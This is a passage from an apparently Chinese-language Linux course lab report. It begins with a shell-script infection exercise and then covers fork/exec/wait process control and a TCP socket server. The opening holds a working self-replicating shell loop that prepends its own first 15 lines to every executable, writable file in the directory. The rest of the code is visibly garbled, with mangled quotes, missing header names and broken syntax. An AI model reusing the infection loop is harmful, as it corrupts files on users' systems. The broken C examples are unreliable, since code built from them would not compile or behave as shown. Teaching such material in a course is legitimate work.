4 Shell脚本的感染 for file in *
do
if test -f $file then
if test -x $file then
if test -w $file then
cp $file .$file head -n 15 $0>$file cat .$file>>$file fi fi fi done
四.实验结果
五.实验体会
经过本次实验,我对shell脚本编程有了一定的了解,但是了解的还是很少,以后一定要在这方面多多加强才行。
实验三、进程控制
一、实验目的
了解与进程控制相关的各种系统调用,加深对进程的状态变迁与进程调度的
理解。
二、实验要求
1.掌握进程的创建fork系统调用的原理。 2.掌握exec系统调用的原理。 3.掌握exit系统调用的原理。 4.掌握wait系统调用的原理。
三、代码范例
1.Fork
main()
{ int pid;
printf(″Just 1 process now.\\n″); printf(″Calling fork()?\\n″); pid=fork();
if(pid = = 0) /*子进程 */ printf(″I’m the child.\\n″); else if pid>0) /*父进程*/ printf(″I’m the parent.\\n″); else print(″fork failed.\\n″); print(″Program end.\\n″); }
2. exec调用
main( )
{ int pid;
printf(″Just 1 process now.\\n″); printf(″Calling fork( ). . . \\n″); pid=fork( );
If (pid = = 0) /* 子进程*/ { printf(″I’m the child. \\n″);
execl(″/bin/ ls″,″ls″,″-1″,″fork_test.c″,0); perror(″exec error″)
exit(1) /*①子进程终止*/ }
else if (pid >0) /*父进程 */ printf(″I’m the parent.\\n ″);
else /*pid<0,fork 失败 */
printf(″fork failed.\\n″); wait(0);
printf (″programe end.\\n″); /*②父进程等待进程终止*/ }
3. wait调用
# include
int i,j,status; i= fork ( );
if( i == 0) /子进程 */
{ execlp(“ysh”, “ysh”, “c”, “expr.sh 1st 2st 3rd 4th”,NULL); / * 执行失败,错误返回* / perror(“exec error”); exit(5); }
wait (&status); / * 父进程接收子进程返回状态度* / printf(“status returned : %xH \\n”,status); printf(“that is %x in exit (). \\n”,status>>8); }
四、实验结果
五、实验体会:
由于这次是用C环境来做的,所以相对而言比较得心应手,但是对于进程的编程还是遇到了不少问题的的,经过不停的调试和努力之后还是顺利的完成了此次任务。
实验四、网络编程
一 实验目的
了解与linux下socket编程相关的各种系统调用,加深对tcp/udp协议的理
解。
二 实验要求
1.掌握linux下socket编程相关的各种系统调用
? socket ? bind ? connect ? listen ? accept
? read, recvfrom ? write, sendto ? close
2.理解tcp与udp通讯机制的区别
三 代码范例
1)一个简单的TCP Server #include
#include
#define MYPORT 3490 /* 监听端口 */ #define BACKLOG 10 /* listen的请求接收队列长度 */
void main() {
int sockfd, new_fd; /* 监听端口,数据端口 */ struct sockaddr_in my_addr; /* 自身的地址信息 */ struct sockaddr_in their_addr; /* 连接对方的地址信息 */ int sin_size;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(\exit(1); }
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(MYPORT); /* 网络字节顺序 */ my_addr.sin_addr.s_addr = INADDR_ANY; /* 自动填本机IP */ bzero(&(my_addr.sin_zero), 8); /* 其余部分置0 */ if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror(\exit(1); }
if (listen(sockfd, BACKLOG) == -1) { perror(\exit(1); }
while(1) { /* 主循环 */ sin_size = sizeof(struct sockaddr_in);
new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size) if (new_fd == -1) { perror(\continue; }
printf(”Got connection from %s\\ n\
if (!fork()) { /* 子进程 */
if (send(new_fd, \close(new_fd); exit(0); }
close(new_fd); /* 无法生成子进程时有用 */
while(waitpid(-1,NULL,WNOHANG) > 0); /*清除所有子进程 */ } }
2)tcp Client部分 #include
#define PORT 3490 /* Server的端口 */